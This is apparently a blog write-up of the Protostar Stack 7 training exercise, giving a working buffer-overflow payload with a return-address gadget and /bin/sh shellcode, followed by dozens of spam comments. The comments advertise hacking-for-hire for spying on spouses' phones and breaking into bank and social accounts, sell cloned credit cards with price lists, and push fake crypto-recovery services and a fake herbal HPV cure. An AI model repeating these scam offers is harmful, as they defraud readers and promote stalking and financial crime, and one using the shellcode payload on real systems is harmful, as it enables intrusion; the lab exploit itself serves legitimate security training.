Exploit Exercises - Protostar Stack 7

In this level, app check return address not start with 0xbxxxxxxx. So i pop pop ret to load return address to stack, and call it.
Found pop pop ret at: 0x08048492
This payload:
| "A" * 80 | address | 8 bytes junk | | NOP to bit shifing | Shell code |
This is shell code:
\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

Load poc to gdb, debug, break point, etc... I found nop shell start at: 0xbffff698. Ok build poc:
(python -c 'print "A"*80 + "\x92\x84\x04\x08" + "C"*8 + "\x98\xf6\xff\xbf" + "\x90"*40 +"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat)
And run it:
(python -c 'print "A"*80 + "\x92\x84\x04\x08" + "C"*8 + "\x98\xf6\xff\xbf" + "\x90"*40 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat) | /opt/protostar/bin/stack7

----------------------------------------------------------
Thanks for reading
--------------------------------------------------------------------------
Security Research
SecurityLab - Linux Lab -- Window and Cisco Lab
to be continued - I will update more.

Comments

Alex said…
i strongly recommend BESTAPPSHACKERS@GMAIL.COM, last year he helped me spy on my wife when he was cheating of me, he served as a personal investigator to me by helping me spy on my wife's phone activities like facebook, email, whatsapp, calls, skype and others. am sure someone out there is looking for how to solve his relationship problems, contact him BESTAPPSHACKERS@GMAIL.COM or text him on whatsapp +1(602)-609-4730
johnny said…
Do you need to hack into any, databaseserver spy on Facebook,Emails, Whatsapp, Viber, Snapchat, Instagram and many more.
I urge you to get in touch with the best people for the job, i have confirm the service when i need to spy on my spouse phone. They are good at Phone Cloning and Bitcoin/binary minning and any other hack job.
Thanks guys for the team work HACKINTECHNOLOGYATGMAILDOTCOM
+12132951376(WHATSAPP)
ddd said…
Have you ever needed an expert when it comes to hacking? Have you ever wanted to hack someone’s email account? Recover lost accounts,school grade,boost credit score? Do you need to find a person’s sensitive information? Do you want to invade a person’s PayPal, Skrill, Amazon, Facebook or any other site account? Upgrade of University Grades,Password and email Retrieval, phone Lines monitoring, Skype Accounts, Hack Social Network, Trace calls on real time conversations, Remove Criminal Records, Credit Fixing, cyber-crime investigation, Hack Bank Accounts, Identification of Cheating Partner or employee,GET HOT STOCK TIPS Then contact contact Email:- stocktipsandethicalhacking2020@gmail.com Hangout :- stocktipsandethicalhacking2020@gmail.com Telegram Number +14242742967 Business Whatsapp :- ‪ 1 (925) 291-0054‬) Text Message/Call: ‪ +1 424) 274 2967‬‬ or click on this link to chat on whatsapp https://wa.me/message/REE2BBXU4CEYF1
Unknown said…
Email:Creditcards.atm@gmail.com   
WhatsApp:+1(305) 330-3282     
-hack into any kind of phone
_Increase Credit Scores
_western union, bitcoin and money gram hacking
_criminal records deletion_BLANK ATM/CREDIT CARDS
_Hacking of phones(that of your spouse, boss, friends, and see whatever is being discussed behind your back)
_Security system hacking...and so much more. Contact THEM now and get whatever you want at  

Prices for clone cards with their balance that we offer:


* Gold VISA- € 450 ----> Balance € 250,000 Daily withdrawal of € 1,500, validity 24 months

* Gold Mastercard- € 500 --- -> Balance € 325,000 Daily withdrawal of € 1,800, validity 36 months

* Platinum Visa - € 550 ----> Balance € 480,000 Daily withdrawal of € 2,000, validity 24 months

* Platinum Mastercard - € 600 ----> Balance € 620,000 Daily withdrawal of € 2,500, validity 36 months

* Infinity Visa - € 750 ----> Balance € 750,000 Daily withdrawal of € 3,000, validity 24 months

* Infinity Mastercard - 850 € ----> Balance 850,000 € Daily withdrawal of 3500 €, validity 36 months

Once payment has been made 12h to 48h in Europe and 12h to 72H worldwide
After your order will be available, at the delivery address given.
Shipping is by courier with parcel tracking within 2hrs after payment

If you order regularly with us, we guarantee that you will not miss anything in the near future.
 
Email:Creditcards.atm@gmail.com   
WhatsApp:+1(305) 330-3282      

✔✔✔ ✔©®™ ‍ ‍ ‍
Unknown said…
I strongly recommend cyb3rdroid.com, last year he helped me spy on my wife when he was cheating of me, he served as a personal investigator to me by helping me spy on my wife's phone activities like facebook, email, whatsapp, calls, skype and others. am sure someone out there is looking for how to solve his relationship problems, contact him cyb3rdroid@protonmail.com
mike said…

I just have to introduce this hacker that I have been working with him on getting my credit score been boosted across the Equifax, TransUnion and Experian report. He made a lot of good changes on my credit report by erasing all the past eviction, bad collections and DUI off my credit report history and also increased my FICO score above 876 across my three credit bureaus report you can contatc him for all kind of hacks . Email him here via Email him here via hackintechnology@cyberservices.com or whatsapp Number: +1 213 295 1376.
Unknown said…


We first of all study the scammer brought to us by hacking the person device(phone or computer) to get information of How, Where, this person keeps money he/she as defrauded from people ( so many of this scammers don’t actually save the money in banks, they mostly stack the money in a Bitcoin wallet, that way it is safe and untraceable to authorities) and we work on a strategy to get back the money and give it back to whom they have defrauded.

Contacting us is simple, just give us a message through the email below.
Email-jeansonjamesancheta7@gmail.com or text him on WhatsApp +1 (559) 851-5537
I am so delighted I found your weblog, I really found you by accident,
while I was researching on Bing for something else, Regardless I am here now and would just like to say thank you for a fantastic post and a all round entertaining blog (I also love the theme/design), UNDETECTED HIGH QUALITY DRIVERS DOCUMENTS I don't have time to go through it all at the minute but I have bookmarked it and also added your RSS feeds, so when I have time I will be back to read a lot more, Please do keep up the excellent job.
ANGELA BROOKS said…
I strongly recommend the service of a GREAT Hacker to you
I have used him quite a number of times and he has never disappointed me. He does all types of mobile hacks, get unrestricted and unnoticeable access to your Partner/Spouse, Skype, Facebook Account, Email(s), Whatsap, Instagram, Text messages, In coming and Out going calls, Twitter, Snap Chats, Bank accounts, Viber, Deleted files, Emails and Password etc. Email here; WhitehatstechATgmailDOTcom
Unknown said…
So many people have lost their lives because of the doctor report, doctor is not God and they do not have the final say about your health report so do not believe the doctor, they only say what they know and that is not final. i almost committed suicide because i was told have human papillomavirus and also there is no cure for it, but today i am 100% healed and healthy of doctor Osasu herbal medicine, i have refer several people to this herbal doctor for cure and he has never fail. contact doctor Osasu today on his cure for hpv or hsv and your life will be back again https://drosasusolutionhome.com email address [drosasu25@gmail.com or directly on whasapp +2347064365391 Please share as you read okay, you may save a soul today. Natural herbs are really
Elizabeth Harrison said…
My name's are Elizabeth Harrison from Chicago, IL. I work as a nurse by profession, was earning a little bit okay $3400 monthly, with my two kids I decided that I need to invest, the taught of my investment came after I meant a guy online who makes me feel comfortable and always talk me into self-employed business, I decide to always seek for his advice and he gave me a broker site where I can invest and have profit within a short period of time, I do really trust him but after I invested into the crypto site I discover he was behind everything and I have lost all my savings to him without knowing how he gets into me and lure me with his sweet fuckin words, he ruined my life and I couldn't be myself anymore. So i decide to seek for help, omg... any attempt i made i get more scammed couldn't figure out who was real and who wasn't and at the end of it all i came up with a decision that nothing on the internet is real again. after 2 months i gave up on recovery the money i sent to broker site by bitcoin payment which is up to $65,992 i was on Spotify trying to get some lonely songs for myself when i came across wizardwilsonsoftware (@) Yahoo.com (.) , it sounded real but i was scared to contact him cause it seems i'm not just lucky with making money on investment maybe i had to work through out my whole lifetime so i ignored but i was in a worker meeting when a discussion lead to bitcoin scam and i heard one of my co-worker saying wizard wilson got her funds back and i ask her how she reached him and she gave me this WhatsApp +1 (321) 621_1089 i reached out to Wizard Wilson immediately i got home and we talked for long and i decide to put him to test, to end the whole story, i got more than what i loss on my new blockchain wallet, i was scared at first until he explained to me, a big thanks to the only real recovery hacker online and that's wizard wilson who i have experienced his magic wizard actually.
MARIA said…
Hello, my name is Evans from the United Kingdom am here to give a testimonial on how I meet one of the best Hacker so far on my incredible moment of pain I lost a huge amount of money to a fake investor, I invested 105,000 USD to this investment company with my belief that I will have a huge return when it was time for me to get my return they company no longer pick my calls or reply to my email I was so devasted that my sister saw my pain and sad sorrow she have no choice than to introduce me to this great hacker called Wizard wilson . I tell him everything about my situation and he asked for the company email address and the mobile number he promises to help me retrieval my funds if I will be able to cooperate and give him the vital information needed less than 24 hours he was able to give me the necessary details about the company and how he will get my funds back without the company approval. Contact him: wizardwilsonsoftware (@) Yahoo.com his whatsapp number (+1) 807,700,3319. I was very happy when he recovered all my funds and gave me 2% of the profit the company could have given to me . so I promise to make him go viral for everyone to contact him in different aspects of hacking software program in your life he proves the best in his job CONTACT HIM: wizardwilsonsoftware (@) Yahoo.com his whatsapp number +1 (321) 621_1089
George said…
How to recover funds / crypto currency ; Binary Option & fake investments RECOVERY Have you ever been a victim of a scam? Have you lost your money to scam imposters online? I implore you to contact this trustworthy recovery expert Cryptoreunder360(at)gmail.com TO HELP RECOVER ALL YOU HAVE LOST, I was a victim of fake people posing as binary options and bitcoin investors, I lost a sum of $4,000 and 2BTC from my bitcoin wallet to these fakes. It took a while before I realized they were scams and this really hurt . Then an in-law of mine heard the incident and recommended to me a specialist with the address - Cryptorefunder360@gmal.com . They helped me recover my stolen bitcoins after providing necessary informations and program requirements and in less than 5working days the fakes were caught and made to pay for what they did to me .if you have lost any amount to online scams and you're seeking to recover LOST FUNDS from wallet hackers, fake hackers, online dating scams, BTC wallet hack, recovery of lost funds from fake binary investors .Reach out to Cryptorefunder360@gmail.com to help you.
william\ said…
I know an organization who have private investigators for hire who can help you get into your spouse’s phones,emails remotely from your phone they can also help you with your
* credit score
* clearing of criminal record
*increasing of school grades etc
You can confirm for yourself from their email support@wavedrive.tech or website https://wavedrive.tech so you can also give your testimony
Whatsapp No: +14106350697
Peter Dodson said…
I work a lot with my boss on Whatsapp but usually he never replies to me. I was sick of this and so I downloaded Cyb3rdroid and it was easy to hack his account without a hassle. My boss never knew what hit him, and now I can get my work done smoothly.
James said…
Cyb3rdroid offers the best experience to hack whatsapp. I have tried other software but found that the interface was too complicated for me to get through. Cyb3rdroid, on the other hand, has easy to use interface and prices that are competitive with what's in the market. I highly recommend Cyb3rdroid for anyone looking to hack whatsapp.
james said…
oh my gosh! I could have sworn I’ve been to this site before but after browsing through some of the post I realized it’s new to me. I also fallin love with this site IS CARD CASH LEGIT
EVA WIPPERMAN said…

It is a shame how people come in contact with fake hackers, I was a victim too until I met Wizard Schwartz Hacker. He helped me when I needed him the most. His charges are so minimal I decided to help promote him. Some of the services he renders include the following:

++ Boost your credit score
++ Identify & Track fake hackers
++ Recover funds from fake hackers.
++ Social media account hack
++ Game hack
++ Website and database hack
++ Erasure of criminal record
++ Bank account hack
++ Track a cheating mate/hack their phones
++ Software cracking
++ Grade system hack
++ Bitcoin mining and recovery and lots more. He is the best in what he does.

CONTACT HIM : SCHWARTZSOFTWAREHACKINGPROGRAM@GMAIL.COM, WhatsApp:+1 704-313-9661
best documents said…
Great specific article directly to the point. Many articles I come across these days do not really provide anything that attracts others as yours, but believe me the way you interact is literally awesome I do respect that so much. I will instantly get your link and stay informed of any updates you make and as well take the advantage to share some vital information regarding the. cloned credit cards for sale Here are easy ways, you can get a credit cards and code with high balance which can be use world-wild,I will also take the advantage to ask for your permission to join our TELEGRAM GROUP
veband said…
Can lost Bitcoin be Found or Retrieved?
Generally speaking, whether lost bitcoin can be found or not depends on how it was lost. Considering the quantity of missing cryptocurrency out there, people have begun offering services to help recover lost bitcoin. These include data recovery specialists, but you need a professional recovery expert like Mr Thomas to help you get back your lost bitcoin.
Contact them to recover lost bitcoin, bitcoin cash, as well as all other forms of cryptocurrency. And you can be sure that no matter how long it has been lost, you will still get your bitcoin worth.
Contact our support team for further assistance:
HQRECOVERY22 at G M A I L dot C O M
WhatsApp: + 1 4 0 8 8 7 2 5 7 4 0
You Can Also Text Or Call: + 1 4 0 8 8 7 2 5 7 4 0
NO UPFRONT PAYMENT!
303 Second St., Suite 900 South Tower,
San Francisco, CA 94107
Thank me later.
Octapustickets said…
Howdy I am so grateful I found your weblog, I really found you by mistake, while I was looking on Google for something else, I Found this Interesting Article
HOW TO BECOME A REGISTERED PORTUGUESE FULL CITIZEN
If you are looking to buy the Portuguese Citizenship either as a new nationality or for the purpose of dual citizenship,  for more information is here to assist you on matters concerning immigration to Portugal from the US or any other country. At the highest quality degree, Octapus Ticket Experts can provide you with all Portuguese Citizenship documents including the Portuguese Passport and the Portuguese permanent residency that can satisfy all checks and inspections
lisadonalds said…
HAVE YOU BEEN SCAMMED OF YOUR COINS AND WANTS TO GET IT RECOVERED BACK???

I invested a total of$95,000.00USD worth of Bitcoin with an online company who does trading and was guaranteed a payout of 25% a week. They ended up shutting down their company website but their website was still running. So I could still see my dashboard at that time and instead of paying weekly they ended up compounding my money. It ended up compounding to$179, 000USD so I requested for a withdrawal which was declined before they shutdown their website, I complained to my colleague at work who directed me about this recovery expert, Mr. Morris Ray, that helped him, I contacted him immediately, what surprised me most, was that I recovered my money that same week. You can contact him on his email at MorrisGray830 at Gmail dot com and on WhatsApp: + 1 (607) 698-0239 and he will assist you on the steps to recover your invested funds.
Just trying to help those who where scammed just the way I was too.
Craig Scott said…
I feel so happy writing this review about Ghost Champion Wizard you can as well hire him today! GHOSTCHAMPIONWIZARD (at) Gmail dot com

My Credit Score was on the poor side and I couldn’t get a house, a car, or even a truck for my new business. I Couldn’t get approved for any type of loan until I read a comment about a private programmer online on how he helped some people fix their credit score in the space of three days. I gave it a try and reached out to him and to my greatest surprise he came through. He increased My Credit score and he also topped up my Credit Balance to $280,000 USD. He did it perfectly well and removed all The negative items I had on my credit score. a lot more, Email: (GHOSTCHAMPIONWIZARD (at) Gmail dot com)

Removing Bad Records from Both Public and Private internet Databases

FOR RECOVERY OF STOLEN BITCOIN / CRYPTOCURRENCY, RECOVERY OF LOST FUNDS FROM SCAMMER, MOBILE SPY, PHONE HACKS, AND ALL SOCIAL MEDIA HACKING SERVICES.
You can contact them through their website: https://championhacker0.wixsite.com
TYRA EDWARDS said…
I Got my ATM Card from Digital Card Hacker's Can't just appreciate ☝☝you enough,, digital Card Hacker has been a good help to me and I am doing great right now i order ATM Card of $50,000 which where deliver to me in my country with the password, i use the ATM CARD withdraw it's work for me like magic You can also contact them for the service below * Western Union/MoneyGram Transfer Hack * Bank Transfer Hack * PayPal / Skrill Transfer Hack * Crypto Mining Hack *** CashApp Transfer Hack Email: digitacardhacker@gmail.com Text & Call or WhatsApp: +1(321)779-7817

Popular posts from this blog

Python - Multithread to read one file

ATTT Ứng dụng Web - PHẦN 3: BẢO VỆ AN TOÀN THÔNG TIN ỨNG DỤNG WEB

An toàn thông tin ứng dụng Web